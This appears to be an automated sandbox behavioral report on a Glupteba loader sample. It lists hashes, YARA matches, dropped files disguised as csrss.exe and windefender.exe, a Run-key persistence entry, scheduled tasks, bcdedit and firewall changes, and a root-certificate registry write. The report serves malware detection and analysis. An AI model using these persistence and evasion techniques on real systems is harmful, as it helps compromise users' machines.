Behavioral Report

max time kernel116s
max time network137s
platformwindows10-2004_x64
resourcewin10v2004-20220414-en
submitted20-05-2022 22:19

Report
Files
Registry
Network
Processes
Mutex
Misc

Target

bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe

Filesize

3MB

Completed

20-05-2022 22:22

Task

behavioral2

Score

10^/10

MD5

7da8b9fc5c5a67a06afc0749473f1b6e

SHA1

7b0c1138015a3a573469e1142e44be65b73979c5

SHA256

bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7

SHA256

5b9a364aa7cdf6340e709afb5a60eabd045ace1eaeefaa23fd89ede50bd0a51329d69a4afd49ca270ebb80014882ef7728cf72a362a1d0a63d01ba66fa244df7

glupteba discovery dropper evasion loader persistence

Defense Evasion

Discovery

Persistence

Glupteba

Description

Glupteba is a modular loader written in Golang with various components.

Tags

loader dropper glupteba

Glupteba Payload

Reported IOCs

resource	yara_rule
behavioral2/memory/1708-131-0x0000000005800000-0x0000000005EF6000-memory.dmp	family_glupteba
behavioral2/memory/1708-132-0x0000000000400000-0x00000000036C8000-memory.dmp	family_glupteba
behavioral2/memory/1704-136-0x0000000000400000-0x00000000036C8000-memory.dmp	family_glupteba
behavioral2/memory/1684-146-0x0000000000400000-0x00000000036C8000-memory.dmp	family_glupteba

Suspicious use of NtCreateUserProcessOtherParentProcess

svchost.exe

Reported IOCs

description	pid	process	target process
PID 1412 created 1708	1412	svchost.exe	bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe
PID 1412 created 1684	1412	svchost.exe	csrss.exe
PID 1412 created 1684	1412	svchost.exe	csrss.exe
PID 1412 created 1684	1412	svchost.exe	csrss.exe
PID 1412 created 1684	1412	svchost.exe	csrss.exe

Executes dropped EXE
csrss.exepatch.exe

Reported IOCs

pid process

1684 csrss.exe
4860 patch.exe
Modifies Windows Firewall

Tags

evasion

TTPs

Modify Existing Service

pid	process
1684	csrss.exe
4860	patch.exe

Adds Run key to start application

bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe

TTPs

Registry Run Keys / Startup FolderModify Registry

Reported IOCs

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1809750270-3141839489-3074374771-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\LittleHill = "\"C:\\Windows\\rss\\csrss.exe\""	bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe

Checks installed software on the system

Description

Looks up Uninstall key entries in the registry to enumerate software on the system.

Tags

discovery

TTPs

Query Registry
Modifies boot configuration data using bcdedit
bcdedit.exe

Reported IOCs

pid process

4788 bcdedit.exe

pid	process
4788	bcdedit.exe

Drops file in System32 directory

csrss.exe

Reported IOCs

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft	csrss.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache	csrss.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData	csrss.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E0F5C59F9FA661F6F4C50B87FEF3A15A	csrss.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content	csrss.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E0F5C59F9FA661F6F4C50B87FEF3A15A	csrss.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	csrss.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506	csrss.exe

Drops file in Windows directory

csrss.exebf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe

Reported IOCs

description	ioc	process
File created	C:\Windows\windefender.exe	csrss.exe
File opened for modification	C:\Windows\windefender.exe	csrss.exe
File opened for modification	C:\Windows\rss	bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe
File created	C:\Windows\rss\csrss.exe	bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe

Program crash

WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

Reported IOCs

pid	pid_target	process	target process
2968	1708	WerFault.exe	bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe
1804	1708	WerFault.exe	bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe
4216	1708	WerFault.exe	bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe
4528	1708	WerFault.exe	bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe
1276	1708	WerFault.exe	bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe
2336	1708	WerFault.exe	bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe
3320	1708	WerFault.exe	bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe
4976	1708	WerFault.exe	bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe
2016	1708	WerFault.exe	bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe
4252	1708	WerFault.exe	bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe
4700	1708	WerFault.exe	bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe
3648	1708	WerFault.exe	bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe
940	1708	WerFault.exe	bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe
3416	1708	WerFault.exe	bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe
1600	1708	WerFault.exe	bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe
4612	1708	WerFault.exe	bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe
484	1708	WerFault.exe	bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe
4524	1704	WerFault.exe	bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe
3524	1704	WerFault.exe	bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe
1972	1704	WerFault.exe	bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe
2012	1704	WerFault.exe	bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe
2460	1704	WerFault.exe	bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe
696	1704	WerFault.exe	bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe
428	1704	WerFault.exe	bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe
1220	1704	WerFault.exe	bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe
4924	1704	WerFault.exe	bf0584009df2836bedf0ba3b0d499b1a8b2208bf59c85e6b12db123e9ccdafd7.exe
3452	1684	WerFault.exe	csrss.exe
624	1684	WerFault.exe	csrss.exe
2940	1684	WerFault.exe	csrss.exe
3120	1684	WerFault.exe	csrss.exe
3956	1684	WerFault.exe	csrss.exe
4600	1684	WerFault.exe	csrss.exe
1344	1684	WerFault.exe	csrss.exe
2320	1684	WerFault.exe	csrss.exe
4304	1684	WerFault.exe	csrss.exe
4352	1684	WerFault.exe	csrss.exe
4604	1684	WerFault.exe	csrss.exe
1532	1684	WerFault.exe	csrss.exe
5080	1684	WerFault.exe	csrss.exe
3260	1684	WerFault.exe	csrss.exe
3640	1684	WerFault.exe	csrss.exe
2296	1684	WerFault.exe	csrss.exe
4984	1684	WerFault.exe	csrss.exe
3376	1684	WerFault.exe	csrss.exe
628	1684	WerFault.exe	csrss.exe
1916	1684	WerFault.exe	csrss.exe
4160	1684	WerFault.exe	csrss.exe
2348	1684	WerFault.exe	csrss.exe
4544	1684	WerFault.exe	csrss.exe
4224	1684	WerFault.exe	csrss.exe
3856	1684	WerFault.exe	csrss.exe
2972	1684	WerFault.exe	csrss.exe
4584	1684	WerFault.exe	csrss.exe
1480	1684	WerFault.exe	csrss.exe
692	1684	WerFault.exe	csrss.exe
4988	1684	WerFault.exe	csrss.exe
1780	1684	WerFault.exe	csrss.exe
1588	1684	WerFault.exe	csrss.exe
3140	1684	WerFault.exe	csrss.exe
3312	1684	WerFault.exe	csrss.exe
1908	1684	WerFault.exe	csrss.exe
1160	1684	WerFault.exe	csrss.exe
4632	1684	WerFault.exe	csrss.exe
360	1684	WerFault.exe	csrss.exe

Creates scheduled task(s)
schtasks.exeschtasks.exe

Description

Schtasks is often used by malware for persistence or to perform post-infection execution.

Tags

persistence

TTPs

Scheduled Task

Reported IOCs

pid process

3532 schtasks.exe
4236 schtasks.exe

pid	process
3532	schtasks.exe
4236	schtasks.exe

Modifies data under HKEY_USERS

csrss.exe

Reported IOCs

description	ioc	process
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-262 = "GMT Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-832 = "SA Eastern Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2751 = "Tomsk Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-301 = "Romance Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1831 = "Russia TZ 2 Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1041 = "Ulaanbaatar Daylight Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-342 = "Egypt Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2342 = "Haiti Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-742 = "New Zealand Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1871 = "Russia TZ 7 Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-182 = "Mountain Standard Time (Mexico)"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-792 = "SA Western Standard Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-872 = "Pakistan Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-932 = "Coordinated Universal Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-931 = "Coordinated Universal Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-462 = "Afghanistan Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-442 = "Arabian Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-334 = "Jordan Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-771 = "Montevideo Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-531 = "Sri Lanka Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2142 = "Transbaikal Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-201 = "US Mountain Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-41 = "E. South America Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2412 = "Marquesas Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-441 = "Arabian Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-541 = "Myanmar Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-72 = "Newfoundland Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-302 = "Romance Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-142 = "Canada Central Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-492 = "India Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2941 = "Sao Tome Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2141 = "Transbaikal Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-111 = "Eastern Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-261 = "GMT Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-181 = "Mountain Daylight Time (Mexico)"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-71 = "Newfoundland Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1802 = "Line Islands Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2162 = "Altai Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-651 = "AUS Central Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2492 = "Aus Central W. Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-332 = "E. Europe Standard Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-412 = "E. Africa Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1822 = "Russia TZ 1 Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1872 = "Russia TZ 7 Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-381 = "South Africa Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-681 = "E. Australia Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-731 = "Fiji Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-121 = "SA Pacific Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-391 = "Arab Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-112 = "Eastern Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2451 = "Saint Pierre Daylight Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-162 = "Central Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1892 = "Russia TZ 3 Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2842 = "Saratov Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-602 = "Taipei Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2532 = "Chatham Islands Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-252 = "Dateline Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2591 = "Tocantins Daylight Time"	csrss.exe

Modifies system certificate store

csrss.exe

TTPs

Install Root CertificateModify Registry

Reported IOCs

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8	csrss.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	csrss.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 5c0000000100000004000000001000001900000001000000100000002fe1f70bb05d7c92335bc5e05b984da60f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f63030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e814000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e20000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e